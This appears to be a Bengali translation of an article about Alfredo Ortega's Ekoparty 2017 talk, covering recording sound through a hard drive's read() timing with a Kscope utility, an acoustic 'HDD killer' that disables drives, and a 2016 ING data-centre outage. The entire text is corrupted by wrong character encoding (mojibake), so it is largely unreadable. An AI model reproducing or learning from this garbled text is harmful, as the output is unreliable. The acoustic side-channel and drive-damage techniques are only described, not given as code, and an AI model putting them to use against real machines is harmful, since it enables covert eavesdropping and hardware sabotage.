āϕ⧇āύ āφāĻĒāύāĻŋ āφāĻĒāύāĻžāϰ HDD āĻ āϚāĻŋā§ŽāĻ•āĻžāϰ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āύ āύāĻž

āϕ⧇āύ āφāĻĒāύāĻŋ āφāĻĒāύāĻžāϰ HDD āĻ āϚāĻŋā§ŽāĻ•āĻžāϰ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āύ āύāĻž

āĻŦ⧁āϝāĻŧ⧇āύāϏ āφāχāϰ⧇āϏ⧇ Ekoparty 2017 āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āϏāĻŋāĻ•āĻŋāωāϰāĻŋāϟāĻŋ āĻ•āύāĻĢāĻžāϰ⧇āĻ¨ā§āϏ⧇, āφāĻ°ā§āĻœā§‡āĻ¨ā§āϟāĻŋāύāĻžāϰ āĻšā§āϝāĻžāĻ•āĻžāϰ āφāϞāĻĢā§āϰ⧇āĻĄā§‹ āĻ“āĻ°ā§āϤ⧇āĻ—āĻž āĻāĻ•āϟāĻŋ āϖ⧁āĻŦ āφāĻ•āĻ°ā§āώāĻŖā§€āϝāĻŧ āĻŦāĻŋāĻ•āĻžāĻļ āĻĻ⧇āĻ–āĻŋāϝāĻŧ⧇āĻ›āĻŋāϞ⧇āύ - āĻāĻ•āϟāĻŋ āĻŽāĻžāχāĻ•ā§āϰ⧋āĻĢā§‹āύ āĻŦā§āϝāĻŦāĻšāĻžāϰ āύāĻž āĻ•āϰ⧇āχ āĻĒā§āϰāĻžāĻ™ā§āĻ—āύ⧇ āĻ—ā§‹āĻĒāύ āĻ“āϝāĻŧā§āϝāĻžāϰāĻŸā§āϝāĻžāĻĒ āĻ•āϰāĻžāϰ āĻāĻ•āϟāĻŋ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽāĨ¤ āĻļāĻŦā§āĻĻ āϏāϰāĻžāϏāϰāĻŋ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āϰāĻžāχāϭ⧇ āϰ⧇āĻ•āĻ°ā§āĻĄ āĻ•āϰāĻž āĻšāϝāĻŧ⧇āϛ⧇!

HDD āĻĒā§āϰāϧāĻžāύāϤ āωāĻšā§āϚ-āϤ⧀āĻŦā§āϰāϤāĻž āĻ•āĻŽ-āĻĢā§āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¨ā§āϏāĻŋ āĻļāĻŦā§āĻĻ, āĻĒāĻĻāϚāĻŋāĻšā§āύ āĻāĻŦāĻ‚ āĻ…āĻ¨ā§āϝāĻžāĻ¨ā§āϝ āĻ•āĻŽā§āĻĒāύ āĻ—ā§āϰāĻšāĻŖ āĻ•āϰ⧇āĨ¤ āĻŽāĻžāύ⧁āώ⧇āϰ āĻŦāĻ•ā§āϤ⧃āϤāĻž āĻāĻ–āύāĻ“ āĻ¸ā§āĻŦā§€āĻ•ā§ƒāϤ āĻšāϤ⧇ āĻĒāĻžāϰ⧇ āύāĻž, āϝāĻĻāĻŋāĻ“ āĻŦāĻŋāĻœā§āĻžāĻžāύ⧀āϰāĻž āĻāχ āĻĻāĻŋāϕ⧇ āĻ—āĻŦ⧇āώāĻŖāĻž āĻĒāϰāĻŋāϚāĻžāϞāύāĻž āĻ•āϰāϛ⧇ (āύāĻŋāĻŽā§āύ-āĻĢā§āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¨ā§āϏāĻŋ āĻ•āĻŽā§āĻĒāύ āĻĻā§āĻŦāĻžāϰāĻž āĻŦāĻ•ā§āϤ⧃āϤāĻž āĻ¸ā§āĻŦā§€āĻ•ā§ƒāϤāĻŋ, āϝāĻž āϰ⧇āĻ•āĻ°ā§āĻĄ āĻ•āϰāĻž āĻšāϝāĻŧ, āωāĻĻāĻžāĻšāϰāĻŖāĻ¸ā§āĻŦāϰ⧂āĻĒ, āĻāĻ•āϟāĻŋ āϜāĻžāχāϰ⧋āĻ¸ā§āϕ⧋āĻĒ āĻŦāĻž HDD āĻĨ⧇āϕ⧇)āĨ¤

āĻļāĻŦā§āĻĻ āĻšāϞ āĻŦāĻžāϝāĻŧ⧁ āĻŦāĻž āĻ…āĻ¨ā§āϝ āϕ⧋āύ⧋ āĻŽāĻžāĻ§ā§āϝāĻŽā§‡āϰ āĻ•āĻŽā§āĻĒāύāĨ¤ āĻāĻ•āϜāύ āĻŦā§āϝāĻ•ā§āϤāĻŋ āϤāĻžāĻĻ⧇āϰ āĻ•āĻžāύ⧇āϰ āĻĒāĻ°ā§āĻĻāĻžāϰ āĻŽāĻžāĻ§ā§āϝāĻŽā§‡ āωāĻĒāϞāĻŦā§āϧāĻŋ āĻ•āϰ⧇, āϝāĻž āĻ­āĻŋāϤāϰ⧇āϰ āĻ•āĻžāύ⧇ āĻ•āĻŽā§āĻĒāύ āĻĒā§āϰ⧇āϰāĻŖ āĻ•āϰ⧇āĨ¤ āĻŽāĻžāχāĻ•ā§āϰ⧋āĻĢā§‹āύāϟāĻŋ āĻŽā§‹āϟāĻžāĻŽā§āϟāĻŋāĻ­āĻžāĻŦ⧇ āĻ•āĻžāύ⧇āϰ āĻŽāϤ⧋ āĻĄāĻŋāϜāĻžāχāύ āĻ•āϰāĻž āĻšāϝāĻŧ⧇āϛ⧇ - āĻāĻ–āĻžāύ⧇āĻ“, āĻ•āĻŽā§āĻĒāύāϗ⧁āϞāĻŋ āĻāĻ•āϟāĻŋ āĻĒāĻžāϤāϞāĻž āĻāĻŋāĻ˛ā§āϞāĻŋ āĻĻā§āĻŦāĻžāϰāĻž āϰ⧇āĻ•āĻ°ā§āĻĄ āĻ•āϰāĻž āĻšāϝāĻŧ, āϝāĻž āĻāĻ•āϟāĻŋ āĻŦ⧈āĻĻā§āϝ⧁āϤāĻŋāĻ• āφāĻŦ⧇āĻ—āϕ⧇ āωāĻ¤ā§āϤ⧇āϜāĻŋāϤ āĻ•āϰ⧇āĨ¤ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āϰāĻžāχāĻ­, āĻ…āĻŦāĻļā§āϝāχ, āφāĻļ⧇āĻĒāĻžāĻļ⧇āϰ āĻŦāĻžāϤāĻžāϏ⧇āϰ āĻ“āĻ āĻžāύāĻžāĻŽāĻžāϰ āĻ•āĻžāϰāϪ⧇ āĻŽāĻžāχāĻ•ā§āϰ⧋āĻ¸ā§āϕ⧋āĻĒāĻŋāĻ• āĻ•āĻŽā§āĻĒāύ⧇āϰ āĻŦāĻŋāώāϝāĻŧāĻ“āĨ¤ āĻāϟāĻŋ HDD-āĻāϰ āĻĒā§āϰāϝ⧁āĻ•ā§āϤāĻŋāĻ—āϤ āĻŦ⧈āĻļāĻŋāĻˇā§āĻŸā§āϝ āĻĨ⧇āϕ⧇āĻ“ āϜāĻžāύāĻž āϝāĻžāϝāĻŧ: āύāĻŋāĻ°ā§āĻŽāĻžāϤāĻžāϰāĻž āϏāĻžāϧāĻžāϰāĻŖāϤ āϏāĻ°ā§āĻŦāĻžāϧāĻŋāĻ• āĻ…āύ⧁āĻŽā§‹āĻĻāĻŋāϤ āĻ•āĻŽā§āĻĒāύ āĻ¸ā§āϤāϰ āύāĻŋāĻ°ā§āĻĻ⧇āĻļ āĻ•āϰ⧇ āĻāĻŦāĻ‚ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āϰāĻžāχāĻ­ āύāĻŋāĻœā§‡āχ āĻĒā§āϰāĻžāϝāĻŧāĻļāχ āĻāϟāĻŋ āϰāĻžāĻŦāĻžāϰ āĻŦāĻž āĻ…āĻ¨ā§āϝāĻžāĻ¨ā§āϝ āĻ…āĻ¨ā§āϤāϰāĻ• āωāĻĒāĻžāĻĻāĻžāύ āĻĻāĻŋāϝāĻŧ⧇ āϤ⧈āϰāĻŋ āĻāĻ•āϟāĻŋ āĻ•āĻŽā§āĻĒāύ-āĻĒā§āϰāĻŽāĻžāĻŖ āĻĒāĻžāĻ¤ā§āϰ⧇ āϰāĻžāĻ–āĻžāϰ āĻšā§‡āĻˇā§āϟāĻž āĻ•āϰ⧇āĨ¤ āĻāϟāĻŋ āĻĨ⧇āϕ⧇ āϏāĻšāĻœā§‡āχ āωāĻĒāϏāĻ‚āĻšāĻžāϰ⧇ āφāϏāĻž āϝāĻžāϝāĻŧ āϝ⧇ HDD āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ āĻļāĻŦā§āĻĻ āϰ⧇āĻ•āĻ°ā§āĻĄ āĻ•āϰāĻž āϝāĻžāϝāĻŧāĨ¤ āϝāĻž āĻŦāĻžāĻ•āĻŋ āφāϛ⧇ āϤāĻž āĻšāϞ āĻ•āĻŋāĻ­āĻžāĻŦ⧇ āĻŦ⧇āϰ āĻ•āϰāĻžāĨ¤

āφāϞāĻĢā§āϰ⧇āĻĄā§‹ āĻ“āĻ°ā§āϤ⧇āĻ—āĻž āĻĒāĻžāĻ°ā§āĻļā§āĻŦ-āĻšā§āϝāĻžāύ⧇āϞ āφāĻ•ā§āϰāĻŽāϪ⧇āϰ āĻāĻ•āϟāĻŋ āĻ…āύāĻ¨ā§āϝ āϏāĻ‚āĻ¸ā§āĻ•āϰāĻŖ āĻĒā§āϰāĻ¸ā§āϤāĻžāĻŦ āĻ•āϰ⧇āĻ›āĻŋāϞ⧇āύ, āϝāĻĨāĻž āĻāĻ•āϟāĻŋ āϏāĻŽāϝāĻŧ āφāĻ•ā§āϰāĻŽāĻŖāĨ¤ āĻĒā§āϰāĻĻāĻ¤ā§āϤ āχāύāĻĒ⧁āϟ āĻĄā§‡āϟāĻžāϰ āωāĻĒāϰ āύāĻŋāĻ°ā§āĻ­āϰ āĻ•āϰ⧇ āĻāχ āφāĻ•ā§āϰāĻŽāĻŖāϟāĻŋ āĻāχ āϧāĻžāϰāĻŖāĻžāϰ āωāĻĒāϰ āĻ­āĻŋāĻ¤ā§āϤāĻŋ āĻ•āϰ⧇ āϝ⧇ āĻĄāĻŋāĻ­āĻžāχāϏ⧇ āĻŦāĻŋāĻ­āĻŋāĻ¨ā§āύ āϏāĻŽāϝāĻŧ⧇ āĻŦāĻŋāĻ­āĻŋāĻ¨ā§āύ āĻ…āĻĒāĻžāϰ⧇āĻļāύ āϏāĻžā§āϚāĻžāϞāĻŋāϤ āĻšāϝāĻŧāĨ¤ āĻāχ āĻ•ā§āώ⧇āĻ¤ā§āϰ⧇, "āχāύāĻĒ⧁āϟ āĻĄā§‡āϟāĻž" āĻšāϞ āϰāĻŋāĻĄāĻŋāĻ‚ āĻšā§‡āĻĄ āĻāĻŦāĻ‚ āĻāχāϚāĻĄāĻŋāĻĄāĻŋ āĻĒā§āĻ˛ā§āϝāĻžāϟāĻžāϰ⧇āϰ āĻ•āĻŽā§āĻĒāύ, āϝāĻž āĻĒāϰāĻŋāĻŦ⧇āĻļ⧇āϰ āĻ•āĻŽā§āĻĒāύ⧇āϰ āϏāĻžāĻĨ⧇ āϏāĻŽā§āĻĒāĻ°ā§āĻ•āϝ⧁āĻ•ā§āϤ, āĻ…āĻ°ā§āĻĨāĻžā§Ž āĻļāĻŦā§āĻĻ⧇āϰ āϏāĻžāĻĨ⧇āĨ¤ āĻāχāĻ­āĻžāĻŦ⧇, āĻ—āĻŖāύāĻžāϰ āϏāĻŽāϝāĻŧ āĻĒāϰāĻŋāĻŽāĻžāĻĒ āĻ•āϰ⧇ āĻāĻŦāĻ‚ āĻĄā§‡āϟāĻžāϰ āĻĒāϰāĻŋāϏāĻ‚āĻ–ā§āϝāĻžāύāĻ—āϤ āĻŦāĻŋāĻļā§āϞ⧇āώāĻŖ āĻ•āϰ⧇, āĻŽāĻžāĻĨāĻž/āĻĒā§āĻ˛ā§āϝāĻžāϟāĻžāϰ⧇āϰ āĻ•āĻŽā§āĻĒāύ āĻāĻŦāĻ‚ āϤāĻžāχ āĻŽāĻžāĻ§ā§āϝāĻŽā§‡āϰ āĻ•āĻŽā§āĻĒāύ āĻĒāϰāĻŋāĻŽāĻžāĻĒ āĻ•āϰāĻž āϝ⧇āϤ⧇ āĻĒāĻžāϰ⧇āĨ¤ āĻĄā§‡āϟāĻž āĻĒāĻĄāĻŧāϤ⧇ āϝāϤ āĻŦ⧇āĻļāĻŋ āĻĻ⧇āϰāĻŋ āĻšāĻŦ⧇, HDD āĻ•āĻŽā§āĻĒāύ āϤāϤ āĻŦ⧇āĻļāĻŋ āĻļāĻ•ā§āϤāĻŋāĻļāĻžāϞ⧀ āĻšāĻŦ⧇ āĻāĻŦāĻ‚ āϤāĻžāχ, āĻļāĻŦā§āĻĻ āϤāϤ āĻŦ⧇āĻļāĻŋ āĻšāĻŦ⧇āĨ¤

āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āϰāĻžāχāĻ­ āĻ•āĻŽā§āĻĒāύ āĻĒāϰāĻŋāĻŽāĻžāĻĒ āĻ•āĻŋāĻ­āĻžāĻŦ⧇? āϖ⧁āĻŦ āϏāĻšāϜ: āĻļ⧁āϧ⧁ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ•āϞ āϚāĻžāϞāĻžāύ read () — āĻāĻŦāĻ‚ āĻāϟāĻŋ āϏāĻŽā§āĻĒā§‚āĻ°ā§āĻŖ āĻšāϤ⧇ āϝ⧇ āϏāĻŽāϝāĻŧ āϞāĻžāϗ⧇ āϤāĻž āϰ⧇āĻ•āĻ°ā§āĻĄ āĻ•āϰ⧁āύāĨ¤ āφāϧ⧁āύāĻŋāĻ• āĻ…āĻĒāĻžāϰ⧇āϟāĻŋāĻ‚ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āφāĻĒāύāĻžāϕ⧇ āĻ¨ā§āϝāĻžāύ⧋āϏ⧇āϕ⧇āĻ¨ā§āĻĄ āύāĻŋāĻ°ā§āϭ⧁āϞāϤāĻžāϰ āϏāĻžāĻĨ⧇ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ•āϞ⧇āϰ āϏāĻŽāϝāĻŧ āĻĒāĻĄāĻŧāϤ⧇ āĻĻ⧇āϝāĻŧāĨ¤

āĻāĻ•āϟāĻŋ āϏ⧇āĻ•ā§āϟāϰ āĻĨ⧇āϕ⧇ āϤāĻĨā§āϝ āĻĒāĻĄāĻŧāĻžāϰ āĻ—āϤāĻŋ āĻŽāĻžāĻĨāĻž āĻāĻŦāĻ‚ āĻĒā§āϞ⧇āϟāĻžāϰ⧇āϰ āĻ…āĻŦāĻ¸ā§āĻĨāĻžāύ⧇āϰ āωāĻĒāϰ āύāĻŋāĻ°ā§āĻ­āϰ āĻ•āϰ⧇, āϝāĻž HDD āϕ⧇āϏ⧇āϰ āĻ•āĻŽā§āĻĒāύ⧇āϰ āϏāĻžāĻĨ⧇ āϏāĻŽā§āĻĒāĻ°ā§āĻ•āϝ⧁āĻ•ā§āϤāĨ¤ āĻāĻ–āĻžāύ⧇āχ āĻļ⧇āώ.

āĻāĻ•āϟāĻŋ āϏāĻžāϧāĻžāϰāĻŖ Kscope āχāωāϟāĻŋāϞāĻŋāϟāĻŋ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ āĻĒāϰāĻŋāϏāĻ‚āĻ–ā§āϝāĻžāύāĻ—āϤ āĻŦāĻŋāĻļā§āϞ⧇āώāĻŖ āĻ•āϰāĻž āĻšāϝāĻŧāĨ¤ āϝ⧇āĻŽāύ āϤāĻžāϰāĻž āĻŦāϞ⧇, āĻŦ⧁āĻĻā§āϧāĻŋāĻŽāĻžāύ āϏāĻŦāĻ•āĻŋāϛ⧁āχ āϏāĻšāϜāĨ¤

āϕ⧇āύ āφāĻĒāύāĻŋ āφāĻĒāύāĻžāϰ HDD āĻ āϚāĻŋā§ŽāĻ•āĻžāϰ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āύ āύāĻž
Kscope āχāωāϟāĻŋāϞāĻŋāϟāĻŋ (stat() syscall)

āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ•āϞ āĻāĻ•ā§āϏāĻŋāĻ•āĻŋāωāĻļāύ āϏāĻŽāϝāĻŧ⧇āϰ āĻ•ā§āώ⧁āĻĻā§āϰ āĻĒāĻžāĻ°ā§āĻĨāĻ•ā§āϝāϗ⧁āϞāĻŋ āĻ•āĻ˛ā§āĻĒāύāĻž āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ Kscope āĻšāϞ āĻāĻ•āϟāĻŋ āϛ⧋āϟ āχāωāϟāĻŋāϞāĻŋāϟāĻŋāĨ¤ āĻ‰ā§ŽāϏGitHub āĻ āĻĒā§āϰāĻ•āĻžāĻļāĻŋāϤ.

āĻāĻ•āϟāĻŋ āĻĒ⧃āĻĨāĻ• āĻ­āĻžāĻ¨ā§āĻĄāĻžāϰ⧇ HDD-āϏāĻŽāϝāĻŧ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āϰāĻžāχāϭ⧇ āϟāĻžāχāĻŽ āĻ…ā§āϝāĻžāϟāĻžāϕ⧇āϰ āϜāĻ¨ā§āϝ āĻ•āύāĻĢāĻŋāĻ—āĻžāϰ āĻ•āϰāĻž āχāωāϟāĻŋāϞāĻŋāϟāĻŋāϰ āĻāĻ•āϟāĻŋ āϏāĻ‚āĻ¸ā§āĻ•āϰāĻŖ āφāϛ⧇, āĻ…āĻ°ā§āĻĨāĻžā§Ž āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻ•āϞ āĻŦāĻŋāĻļā§āϞ⧇āώāĻŖ āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ āĻ•āύāĻĢāĻŋāĻ—āĻžāϰ āĻ•āϰāĻž āĻšāϝāĻŧ⧇āϛ⧇ read ().

HDD āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰ⧇ āϏāĻžāωāĻ¨ā§āĻĄ āϰ⧇āĻ•āĻ°ā§āĻĄāĻŋāĻ‚āϝāĻŧ⧇āϰ āĻĒā§āϰāĻĻāĻ°ā§āĻļāύ, āϕ⧇āĻ¸ā§āϕ⧋āĻĒ āχāωāϟāĻŋāϞāĻŋāϟāĻŋāϰ āĻ…āĻĒāĻžāϰ⧇āĻļāύ

āĻ­āĻŋāĻĄāĻŋāĻ“ āĻĻ⧇āĻ–āĻžāĻ“

āĻ…āĻŦāĻļā§āϝāχ, āĻŦāĻ•ā§āϤ⧃āϤāĻž āĻāĻ­āĻžāĻŦ⧇ āĻŦā§‹āĻāĻž āϝāĻžāϝāĻŧ āύāĻž, āϤāĻŦ⧇ āĻ•āĻŽā§āĻĒāύ āϏ⧇āĻ¨ā§āϏāϰ āĻšāĻŋāϏāĻžāĻŦ⧇ HDD āĻŦ⧇āĻļ āωāĻĒāϝ⧁āĻ•ā§āϤāĨ¤ āωāĻĻāĻžāĻšāϰāĻŖāĻ¸ā§āĻŦāϰ⧂āĻĒ, āφāĻĒāύāĻŋ āϰ⧇āϜāĻŋāĻ¸ā§āϟāĻžāϰ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύ āϝāĻĻāĻŋ āĻļāĻ•ā§āϤ āϜ⧁āϤāĻž āĻŦāĻž āĻ–āĻžāϞāĻŋ āĻĒāĻžāϝāĻŧ⧇ āϕ⧋āύāĻ“ āĻŦā§āϝāĻ•ā§āϤāĻŋ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āϏāĻš āĻāĻ•āϟāĻŋ āϘāϰ⧇ āĻĒā§āϰāĻŦ⧇āĻļ āĻ•āϰ⧇ (āϏāĻŽā§āĻ­āĻŦāϤ, āϝāĻĻāĻŋ āφāĻ•ā§āϰāĻŽāĻŖāĻ•āĻžāϰ⧀ āύāϰāĻŽ āĻ¸ā§āύāĻŋāĻ•āĻžāĻ°ā§āϏ āĻĒāϰ⧇ āĻĨāĻžāϕ⧇ āĻŦāĻž āĻŽā§‡āĻā§‡āϤ⧇ āĻāĻ•āϟāĻŋ āĻĒ⧁āϰ⧁ āĻ•āĻžāĻ°ā§āĻĒ⧇āϟ āĻĨāĻžāϕ⧇ āϤāĻŦ⧇ HDD āĻ•āĻŽā§āĻĒāύ āύāĻŋāĻŦāĻ¨ā§āϧāύ āĻ•āϰāϤ⧇ āϏāĻ•ā§āώāĻŽ āĻšāĻŦ⧇ āύāĻž - āĻāϟāĻŋ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰāĻžāϰ āĻŽāϤ⧋)āĨ¤ āĻ•āĻŽā§āĻĒāĻŋāωāϟāĻžāϰ āĻ­āĻžāĻ™ā§āĻ—āĻž āĻ•āĻžāϚ āĻŦāĻž āĻ…āĻ¨ā§āϝāĻžāĻ¨ā§āϝ āϘāϟāύāĻžāϕ⧇ āĻļāĻ•ā§āϤāĻŋāĻļāĻžāϞ⧀ āĻļāĻŦā§āĻĻ⧇āϰ āϤ⧀āĻŦā§āϰāϤāĻžāϰ āϏāĻžāĻĨ⧇ āύāĻŋāĻŦāĻ¨ā§āϧāύ āĻ•āϰāϤ⧇ āϏāĻ•ā§āώāĻŽāĨ¤ āĻ…āĻ°ā§āĻĨāĻžā§Ž, āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āϰāĻžāχāĻ­ āĻāĻ• āϧāϰāϪ⧇āϰ āĻ…āύāύ⧁āĻŽā§‹āĻĻāĻŋāϤ āĻ…āύ⧁āĻĒā§āϰāĻŦ⧇āĻļ āϏāύāĻžāĻ•ā§āϤāĻ•āϰāĻŖ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻšāĻŋāϏāĻžāĻŦ⧇ āĻ•āĻžāϜ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āĨ¤

HDD āĻšāĻ¤ā§āϝāĻžāĻ•āĻžāϰ⧀

āĻĒā§āϰāϏāĻ™ā§āĻ—āϤ, āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āϰāĻžāχāĻ­ āύāĻŋāĻˇā§āĻ•ā§āϰāĻŋāϝāĻŧ āĻ•āϰāϤ⧇āĻ“ āĻāĻ•āχ āϧāϰāύ⧇āϰ āĻ•ā§ŒāĻļāϞ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āϝ⧇āϤ⧇ āĻĒāĻžāϰ⧇āĨ¤ āϤāĻŦ⧇, āĻāĻ•ā§āώ⧇āĻ¤ā§āϰ⧇ āφāĻŽāϰāĻž āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āϰāĻžāχāĻ­ āĻĨ⧇āϕ⧇ āĻ•āĻŽā§āĻĒāύ āĻ—ā§āϰāĻšāĻŖ āĻ•āϰāĻŋ āύāĻž, āĻŦāϰāĻ‚ āĻāĻŽāύ āĻ•āĻŽā§āĻĒāύ āϤ⧈āϰāĻŋ āĻ•āϰāĻŋ āϝāĻž āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āϰāĻžāχāϭ⧇ āĻĒāĻžāĻ āĻžāύ⧋ āĻšāϝāĻŧāĨ¤ āϝāĻĻāĻŋ āφāĻĒāύāĻŋ āĻ¸ā§āĻĒāĻŋāĻ•āĻžāϰ āĻĨ⧇āϕ⧇ āĻāĻŽāύ āĻĢā§āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¨ā§āϏāĻŋāϤ⧇ āĻ…āĻĄāĻŋāĻ“ āϚāĻžāϞāĻžāύ āϝāĻž āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āϰāĻžāχāϭ⧇āϰ āĻĢā§āϰāĻŋāϕ⧋āϝāĻŧ⧇āĻ¨ā§āϏāĻŋāϰ āϏāĻžāĻĨ⧇ āĻ…āύ⧁āϰāĻŖāĻŋāϤ āĻšāϝāĻŧ, āϤāĻžāĻšāϞ⧇ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽāϟāĻŋ āĻļā§€āĻ˜ā§āϰāχ āĻāĻ•āϟāĻŋ I/O āĻ¤ā§āϰ⧁āϟāĻŋāϰ (āĻ•āĻžāĻ°ā§āύ⧇āϞ) āĻŽāĻžāĻ§ā§āϝāĻŽā§‡ āĻĄāĻŋāĻ­āĻžāχāϏāϟāĻŋ āĻŦāĻ¨ā§āϧ āĻ•āϰ⧇ āĻĻ⧇āĻŦ⧇āĨ¤ Linux (āĻāϟāĻŋ ⧧⧍ā§Ļ āϏ⧇āϕ⧇āĻ¨ā§āĻĄ āĻĒāϰ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āϰāĻžāχāĻ­āϟāĻŋ āϏāĻŽā§āĻĒā§‚āĻ°ā§āĻŖāϰ⧂āĻĒ⧇ āĻŦāĻ¨ā§āϧ āĻ•āϰ⧇ āĻĻ⧇āϝāĻŧāĨ¤) āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āϰāĻžāχāĻ­āϟāĻŋ āĻ…āĻĒā§‚āϰāĻŖā§€āϝāĻŧāĻ­āĻžāĻŦ⧇ āĻ•ā§āώāϤāĻŋāĻ—ā§āϰāĻ¸ā§āϤ āĻšāϤ⧇ āĻĒāĻžāϰ⧇āĨ¤

āϕ⧇āύ āφāĻĒāύāĻŋ āφāĻĒāύāĻžāϰ HDD āĻ āϚāĻŋā§ŽāĻ•āĻžāϰ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āύ āύāĻž
āϕ⧋āϰ Linux Edifier r19u USB āĻ¸ā§āĻĒāĻŋāĻ•āĻžāϰ⧇āϰ āĻŽāĻžāĻ§ā§āϝāĻŽā§‡ āĻāĻ•āϟāĻŋ āĻ…āύ⧁āϰāĻŖāύ āĻ•āĻŽā§āĻĒāĻžāĻ™ā§āϕ⧇ ⧧⧍ā§Ļ āϏ⧇āϕ⧇āĻ¨ā§āĻĄ āϧāϰ⧇ āĻļāĻŦā§āĻĻ āĻŦāĻžāϜāĻžāύ⧋āϰ āĻĒāϰ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āϰāĻžāχāĻ­āϟāĻŋ āĻŦāĻ¨ā§āϧ āĻšāϝāĻŧ⧇ āϝāĻžāϝāĻŧāĨ¤ āĻ¸ā§āĻĒāĻŋāĻ•āĻžāϰāϟāĻŋ āϤāĻžāϰ āĻ•ā§āώāĻŽāϤāĻžāϰ āĻĒā§āϰāĻžāϝāĻŧ āĻāĻ•-āϚāϤ⧁āĻ°ā§āĻĨāĻžāĻ‚āĻļ⧇ (ā§§ā§Ļā§Ļ āĻŽāĻŋāϞāĻŋāĻ“āϝāĻŧāĻžāĻŸā§‡āϰāĻ“ āĻ•āĻŽ) āϚāĻžāϞ⧁ āĻ•āϰāĻž āĻšāϝāĻŧ⧇āĻ›āĻŋāϞ āĻāĻŦāĻ‚ āĻ•āĻŽā§āĻĒāύ āĻŦāĻŋāĻŦāĻ°ā§āϧāĻŋāϤ āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ āĻāϟāĻŋāϕ⧇ HDD āĻĨ⧇āϕ⧇ ⧍ā§Ļ āϏ⧇āĻŽāĻŋ āĻĻā§‚āϰ⧇ āĻŸā§‡āĻŦāĻŋāϞ⧇āϰ āĻĻāĻŋāϕ⧇ āĻŽā§āĻ– āĻ•āϰ⧇ āϰāĻžāĻ–āĻž āĻšāϝāĻŧ⧇āĻ›āĻŋāϞāĨ¤ āĻ­āĻŋāĻĄāĻŋāĻ“ HDD āĻšāĻ¤ā§āϝāĻžāĻ•āĻžāϰ⧀āϰ āĻāĻ•āϟāĻŋ āĻĒā§āϰāĻĻāĻ°ā§āĻļāύ⧇āϰ āϏāĻžāĻĨ⧇

āĻāϟāĻž āĻ•ā§ŒāϤ⧂āĻšāϞāϜāύāĻ• āϝ⧇ HDD-āϤ⧇ āĻāχ āϧāϰāύ⧇āϰ "āφāĻ•ā§āϰāĻŽāĻŖ" āĻ•āĻ–āύāĻ“ āĻ•āĻ–āύāĻ“ āĻĻ⧈āύāĻ¨ā§āĻĻāĻŋāύ āĻœā§€āĻŦāύ⧇ āĻĻ⧁āĻ°ā§āϘāϟāύāĻžāĻ•ā§āϰāĻŽā§‡ āϘāĻŸā§‡āĨ¤ āωāĻĻāĻžāĻšāϰāĻŖ āĻ¸ā§āĻŦāϰ⧂āĻĒ, 2016 āϏāĻžāϞ⧇āϰ āϏ⧇āĻĒā§āĻŸā§‡āĻŽā§āĻŦāϰ⧇, ING āĻŦā§āϝāĻžāĻ™ā§āĻ• āĻĄā§‡āϟāĻž āϏ⧇āĻ¨ā§āϟāĻžāϰ āĻāĻ•āϟāĻŋ āĻĢāĻžāϝāĻŧāĻžāϰ āĻĄā§āϰāĻŋāϞ⧇āϰ āĻĒāϰ⧇ 10 āϘāĻ¨ā§āϟāĻžāϰ āϜāĻ¨ā§āϝ āĻ…āĻĒāĻžāϰ⧇āĻļāύ āĻ¸ā§āĻĨāĻ—āĻŋāϤ āĻ•āϰāϤ⧇ āĻŦāĻžāĻ§ā§āϝ āĻšāϝāĻŧ⧇āĻ›āĻŋāϞāĨ¤ āĻ•āϝāĻŧ⧇āĻ• āĻĄāϜāύ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āϰāĻžāχāĻ­ āĻŦā§āϝāĻ°ā§āĻĨ āĻšāϝāĻŧ⧇āϛ⧇ āωāĻšā§āϚ āϚāĻžāĻĒ⧇ āϏāĻŋāϞāĻŋāĻ¨ā§āĻĄāĻžāϰ āĻĨ⧇āϕ⧇ āύāĻŋāĻˇā§āĻ•ā§āϰāĻŋāϝāĻŧ āĻ—ā§āϝāĻžāϏ⧇āϰ āĻŦāĻŋāĻ•āϟ āĻļāĻŦā§āĻĻ⧇āϰ āĻ•āĻžāϰāϪ⧇āĨ¤ āĻļāĻŦā§āĻĻāϟāĻŋ āϖ⧁āĻŦ āĻœā§‹āϰ⧇ āĻ›āĻŋāϞ (130 